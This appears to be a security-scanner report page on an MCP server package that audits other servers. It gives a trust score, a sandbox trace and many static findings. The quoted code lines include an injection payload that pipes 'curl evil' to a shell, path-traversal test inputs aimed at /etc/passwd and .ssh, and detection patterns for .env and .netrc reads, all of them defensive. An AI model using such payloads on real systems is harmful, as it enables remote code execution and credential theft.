mcpwatchman@0.46.6
CAUTION· not startedPublisher claims: "Independent security and quality audit for Model Context Protocol servers." Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Registry PyPI (MCP server)Publisher kvadrum · publishing for 64 daysInstalls 766Last detonated 5d ago
Coverage
Not started: dependency install failed; the server itself was not observed.- Tested
- the dependency install step · every file read, file written and host contacted by what ran
- Not tested
- server startup · the tool list · tool behavior
What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
- It will ask for
DEPLOY_CREDENTIALGITHUB_CREDENTIALGITHUB_TOKENMCPWATCHMAN_GITHUB_TOKENOPENAI_API_KEYConfiguration, not credentials: MCPW_DEPLOY_KEY, MCPWATCHMAN_API_URL- Where it talks to
- mcpwatchman.com (its own)Also osv.dev, deps.dev — not the publisher's domain; check what for before connecting.
- What the honeypot saw
- no credential files read · no network
- What we could not test
- server startup · the tool list · tool behavior
Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names osv.dev, deps.dev as well as its own vendor. The guard injects DEPLOY_CREDENTIAL, GITHUB_CREDENTIAL, GITHUB_TOKEN, MCPWATCHMAN_GITHUB_TOKEN, OPENAI_API_KEY only into requests to mcpwatchman.com (and its subdomains) and refuses the rest.
$vet-skills run --secrets DEPLOY_CREDENTIAL=mcpwatchman.com,GITHUB_CREDENTIAL=mcpwatchman.com,GITHUB_TOKEN=mcpwatchman.com,MCPWATCHMAN_GITHUB_TOKEN=mcpwatchman.com,OPENAI_API_KEY=mcpwatchman.com -- uvx mcpwatchman
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-09 and scored it 68/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Access to sensitive file paths; Access to sensitive file paths; References a credential file in the home directory. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 2 scenarios · 0 deviationst+CategoryObserved action
0.0sprocessno install scripts in bundle
0.2sprocessdependency install exit 1 ·
0.2sclaimednot started: dependency install failed (exit 1); the server itself was not observed
0.2sprocessscript backend runs setup only
0.2sprocessno install scripts to re-run
Static findings
HIGH
Access to sensitive file pathssrc/mcpwatchman/workers/scanner/auth_check.py:281 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05|process\.env\s*[.\[]Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Access to sensitive file pathssrc/mcpwatchman/workers/scanner/transparency_check.py:70 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05# `\.env\b` also could not match after a space: `\b` before a literal `.`Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
References a credential file in the home directorysrc/mcpwatchman/workers/bounded.py:106 · References a credential file in the home directory
AST03# git's HTTPS transport is libcurl, which sends credentials from $HOME/.netrcFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Access to sensitive file pathssrc/mcpwatchman/workers/scanner/semgrep_check.py:858 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05# and `root / "/etc/passwd"` is `/etc/passwd`, so the excerpt readerFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Access to sensitive file pathssrc/mcpwatchman/workers/scanner/auth_check.py:300 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05# A secrets-loading library. `dotenv` reads a `.env` file, which is where aFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Access to sensitive file pathssrc/mcpwatchman/workers/scanner/auth_check.py:282 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05|Deno\.env\.get\s*\(Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Access to sensitive file pathssrc/mcpwatchman/workers/scanner/transparency_check.py:71 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05# requires a preceding word character, so "Create a .env file" never matched.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.CRITICAL
Pipe-to-shell patternsrc/mcpwatchman/workers/scanner/ci_workflows.py:12 · Pipe-to-shell pattern — downloads and immediately executes remote code
AST06`"; curl evil | sh #` is code.Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.HIGH
Access to sensitive file pathssrc/mcpwatchman/workers/scanner/inventory.py:700 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05`/etc/shadow` and then confirm the link's own location is fine.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Access to sensitive file pathssrc/mcpwatchman/workers/scanner/auth_check.py:322 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05r"\{([^{}]{1,400})\}\s*=\s*(?:process\.env\b|Deno\.env\.toObject\s*\(\s*\)|os\.environ\b)"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Access to sensitive file pathssrc/mcpwatchman/workers/bounded.py:108 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05# variable in GIT_ISOLATION set, a `.netrc` entry still reached the server.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Access to sensitive file pathssrc/mcpwatchman/workers/bounded.py:106 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05# git's HTTPS transport is libcurl, which sends credentials from $HOME/.netrcFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.HIGH
Access to sensitive file pathssrc/mcpwatchman/workers/scanner/source.py:320 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05`/etc/passwd` or at a parent directory, and following it would both inflateFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.MEDIUM
Python subprocess execution detectedops/score_history.py:46 · Python subprocess execution detected
AST05return subprocess.run( # noqa: S603 - argument listFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
File permission modification commandops/nightly.sh:145 · File permission modification command — agent changes file ownership/permissions
AST05if [[ -d "$SCAN_TMP" && ! -L "$SCAN_TMP" && -O "$SCAN_TMP" ]] && chmod 700 "$SCAN_TMP"; thenFix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.MEDIUM
npx invocation of non-well-known packageops/nightly.sh:439 · npx invocation of non-well-known package — may execute untrusted code
AST06deploy=(npx --yes "$WRANGLER" deploy)Fix: Pin versions and sources; vendor anything fetched at install time.MEDIUM
Python subprocess execution detectedsrc/mcpwatchman/store.py:93 · Python subprocess execution detected
AST05return subprocess.run( # noqa: S603 - argument list, fixed executableFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
npx invocation of non-well-known packageops/nightly.sh:438 · npx invocation of non-well-known package — may execute untrusted code
AST06log "main's site lockfile carries no wrangler: deploying with npx $WRANGLER (transitive dependencies unpinned)"Fix: Pin versions and sources; vendor anything fetched at install time.HIGH
Access to sensitive file pathssrc/mcpwatchman/workers/scanner/transparency_check.py:75 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05r"|(?:^|[\s(`'\"])\.env\b",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.MEDIUM
npx invocation of non-well-known packageops/nightly.sh:35 · npx invocation of non-well-known package — may execute untrusted code
AST06# where every transitive dependency is pinned with an integrity hash: `npxFix: Pin versions and sources; vendor anything fetched at install time.MEDIUM
Python subprocess execution detectedops/score_history.py:56 · Python subprocess execution detected
AST05ok = subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
npx invocation of non-well-known packageops/nightly.sh:37 · npx invocation of non-well-known package — may execute untrusted code
AST06# cache, inside the process holding the Cloudflare login. The npx form remainsFix: Pin versions and sources; vendor anything fetched at install time.MEDIUM
Destructive file system command detecteddocker/Dockerfile:16 · Destructive file system command detected
AST05&& rm -rf /var/lib/apt/lists/*Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.MEDIUM
Python subprocess execution detectedsrc/mcpwatchman/store.py:268 · Python subprocess execution detected
AST05return subprocess.run( # noqa: S603 - argument list, fixed executableFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedsrc/mcpwatchman/store.py:137 · Python subprocess execution detected
AST05proc = subprocess.run( # noqa: S603 - argument list, fixed executableFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedsrc/mcpwatchman/workers/bounded.py:145 · Python subprocess execution detected
AST05⚠ **Never replace this with `subprocess.run(..., timeout=)`.** That call isFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedsrc/mcpwatchman/workers/bounded.py:157 · Python subprocess execution detected
AST05proc = subprocess.Popen( # noqa: S603 - argv form, no shell; callers buildFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Remote installer piped to shellsrc/mcpwatchman/workers/scanner/ci_workflows.py:12 · Remote installer piped to shell
AST07`"; curl evil | sh #` is code.Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedsrc/mcpwatchman/workers/bounded.py:3 · Python subprocess execution detected
AST05⚠ **`subprocess.run(..., timeout=N)` KILLS THE CHILD AND ORPHANS ITSFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedsrc/mcpwatchman/workers/bounded.py:230 · Python subprocess execution detected
AST05proc = subprocess.Popen( # noqa: S603 - argv form, no shell; as run_boundedFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Process kill commandsrc/mcpwatchman/workers/bounded.py:149 · Process kill command — agent can terminate processes
AST05The kill is `SIGKILL` to the group rather than `SIGTERM` to the child.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.MEDIUM
npx invocation of non-well-known packagesrc/mcpwatchman/workers/scanner/install_scripts.py:3 · npx invocation of non-well-known package — may execute untrusted code
AST06An MCP server is usually started with `npx <package>`, and npm runs a package'sFix: Pin versions and sources; vendor anything fetched at install time.MEDIUM
References a credential file in the home directorytests/test_bounded.py:288 · References a credential file in the home directory
AST03"""libcurl reads $HOME/.netrc whatever git's configuration says, so theFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.MEDIUM
Python subprocess execution detectedtests/test_history.py:143 · Python subprocess execution detected
AST05return subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_history.py:164 · Python subprocess execution detected
AST05first = subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_source.py:650 · Python subprocess execution detected
AST05subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_source.py:1217 · Python subprocess execution detected
AST05tag_object = subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_source.py:1325 · Python subprocess execution detected
AST05big = subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_bounded.py:262 · Python subprocess execution detected
AST05subprocess.run( # noqa: S603 - argument list, never a shell stringFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Access to sensitive file pathstests/test_source.py:227 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05"""An archive can point a symlink at /etc/passwd or a parent; following itFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.MEDIUM
Access to sensitive file pathstests/test_source.py:354 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05["../../../etc", "a/../../../../etc", "..", "../.ssh", "/etc/passwd", "-x", "--help"],Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.MEDIUM
Access to sensitive file pathstests/test_bounded.py:312 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05netrc = home / ".netrc"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.MEDIUM
Python subprocess execution detectedtests/test_cohort.py:481 · Python subprocess execution detected
AST05revs = subprocess.run( # noqa: S603 - argument list, never a shell stringFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Process kill commandtests/test_source.py:948 · Process kill command — agent can terminate processes
AST05# survive the expiry in order to kill the process GROUP, so it returnsFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.MEDIUM
Process kill commandsrc/mcpwatchman/workers/scanner/semgrep_check.py:85 · Process kill command — agent can terminate processes
AST05# `04` §4.4: "Timeout is 5 minutes per scan; OOM kill at 2 GB."Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.MEDIUM
Python subprocess execution detectedtests/test_cohort.py:471 · Python subprocess execution detected
AST05shallow = subprocess.run( # noqa: S603 - argument list, never a shell stringFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedsrc/mcpwatchman/workers/scanner/semgrep_check.py:666 · Python subprocess execution detected
AST05# Measured with a negative control — `subprocess.run(f"cat {arg}",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_bounded.py:96 · Python subprocess execution detected
AST05subprocess.run( # noqa: S603 - fixed argv, no shell string from inputFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_history.py:137 · Python subprocess execution detected
AST05subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Access to sensitive file pathstests/test_source.py:230 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05(tmp_path / "link").symlink_to("/etc/passwd")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.MEDIUM
Python subprocess execution detectedtests/test_bounded.py:3 · Python subprocess execution detected
AST05⚠ **This exists because `subprocess.run(..., timeout=N)` does not.** It killsFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_source.py:1121 · Python subprocess execution detected
AST05first = subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_source.py:1126 · Python subprocess execution detected
AST05second = subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_store.py:97 · Python subprocess execution detected
AST05return subprocess.run( # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Access to sensitive file pathstests/test_bounded.py:326 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05assert seen and True not in seen, "a git child sent the operator's .netrc credential"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.MEDIUM
Python subprocess execution detectedtests/test_bounded.py:267 · Python subprocess execution detected
AST05plain = subprocess.run( # noqa: S603 - argument list, never a shell stringFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedsrc/mcpwatchman/workers/scanner/semgrep_check.py:695 · Python subprocess execution detected
AST05# ⚠ `run_bounded`, NEVER `subprocess.run(timeout=)`. semgrep is a PythonFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_history.py:136 · Python subprocess execution detected
AST05subprocess.run([git, "-C", str(repo), "add", "-A"], check=True) # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Python subprocess execution detectedtests/test_bounded.py:223 · Python subprocess execution detected
AST05subprocess.run( # noqa: S603 - argument list, never a shell stringFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Reads credential paths from the home directorytests/test_bounded.py:288 · Reads credential paths from the home directory
AST03"""libcurl reads $HOME/.netrc whatever git's configuration says, so theFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.MEDIUM
Access to sensitive file pathstests/test_bounded.py:288 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05"""libcurl reads $HOME/.netrc whatever git's configuration says, so theFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.MEDIUM
Python subprocess execution detectedtests/test_cohort.py:489 · Python subprocess execution detected
AST05blob = subprocess.run( # noqa: S603 - argument list, never a shell stringFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.MEDIUM
Access to sensitive file pathstests/test_bounded.py:323 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files
AST05assert True in seen, "fixture is inert: the .netrc credential was never sent"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.MEDIUM
Python subprocess execution detectedtests/test_history.py:132 · Python subprocess execution detected
AST05subprocess.run([git, "init", "-q", str(repo)], check=True) # noqa: S603Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.Cost to the agent
Instructions loaded
≈55 tok
1 file · 81 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0
Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.
Known vulnerabilities
No advisories in OSV for mcpwatchman@0.46.6 as of 5d ago. This is the package itself, not its dependencies.
What would make this Verified
12 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- Pipe-to-shell pattern≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
- Unclaimed publisher≈ +8 on the totalClaim kvadrum: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
- References a credential file in the home directory≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
- Python subprocess execution detected≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
- File permission modification command≈ +2 on the totalRequest the narrowest permission that works; replace wildcards with the exact paths or hosts.
Publish a new version to PyPI, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim kvadrumPropose a patch to the maintainer